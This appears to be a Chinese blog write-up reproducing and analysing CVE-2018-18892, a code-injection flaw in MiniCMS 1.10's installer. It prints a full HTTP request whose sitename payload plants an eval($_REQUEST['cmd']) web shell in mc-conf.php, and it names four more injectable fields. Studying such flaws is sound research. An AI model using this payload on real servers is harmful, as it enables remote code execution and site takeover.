type
Post
status
Published
date
May 24, 2022
slug
129
summary
根据CVE漏洞情报描述,MiniCMS 1.10 允许通过 install.php sitename 参数执行任意 PHP 代码,这会影响 mc_conf.php 中的 site_name 字段。实际上,漏洞点不止一个sitename参数。
tags
PHP
category
漏洞分析
icon
password
漏洞编号
CVE-2018-18892
No.
16
同步状态
同步
状态
已完成
Author

简述

根据CVE漏洞情报描述,MiniCMS 1.10 允许通过 install.php sitename 参数执行任意 PHP 代码,这会影响 mc_conf.php 中的 site_name 字段。实际上,漏洞点不止一个sitename参数。

漏洞环境

MiniCMS
bg5sbkUpdated Jun 14, 2023
下载1.10版本
解压后命名将文件夹为minicms,移动文件夹到web目录下,并将minicms目录下的install.txt文件修改为install.php ,访问 http://yourip/minicms/install.php
notion image
(下载的是1.10,不知道为什么显示v1.9)
点击提交并抓包

复现

POST /minicms/install.php HTTP/1.1 Host: 192.168.249.128:81 Content-Length: 98 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://192.168.249.128:81 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.246 Safari/537.36 Qaxbrowser Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://192.168.249.128:81/minicms/install.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close sitename='%29;eval($_REQUEST['cmd']);/*&sitelink=http%3A%2F%2F192.168.249.128:81%2Fminicms&nickname=%E7%A5%9E%E7%A7%98%E4%BA%BA&username=admin&password=123456&start_install=%E5%BC%80%E5%A7%8B%E5%AE%89%E8%A3%85
sitename修改为以上的payload '%29;eval($_REQUEST['cmd']);/* ,返回200
notion image
访问shell http://yourip/minicms/?cmd=phpinfo();
notion image

漏洞成因

代码

查看install.php ,显然,安装完成后这个文件自己删除了,所以需要备份install.txt查看
notion image
首先通过 start_install 参数判断请求操作
notion image
接着判断配置文件 mc-conf.php 是否存在,来判断进行第一次安装还是升级
notion image
来到漏洞关键的代码,如果start_install非空,进行安装,file_put_contentssitelink 等参数直接写进 mc-conf.php 配置文件,同时这5个参数是用户可控的
后续代码创建其他一些索引文件,最后 unlink 删除自身,显然,这个漏洞一般没法利用,逻辑上来说安装完网站后不存在漏洞利用,只能在安装的时候被利用一次,只有监守自盗的可能了。
notion image

配置文件

看看创建后的 mc-conf.php
notion image
很直接简单的拼接,每个参数的格式一样,只需要闭合前面的 ') ,同时注释后续的代码,即可在中间拼接恶意代码。通过测试,注入点并非如通告所说只有sitename,而是sitelinkusernamepasswordnickname均可以作为注入点
 
yonyou nc6.5 InvokerServlet 任意类调用执行漏洞调试Exchange越权执行命令漏洞CVE-2022-41076复现分析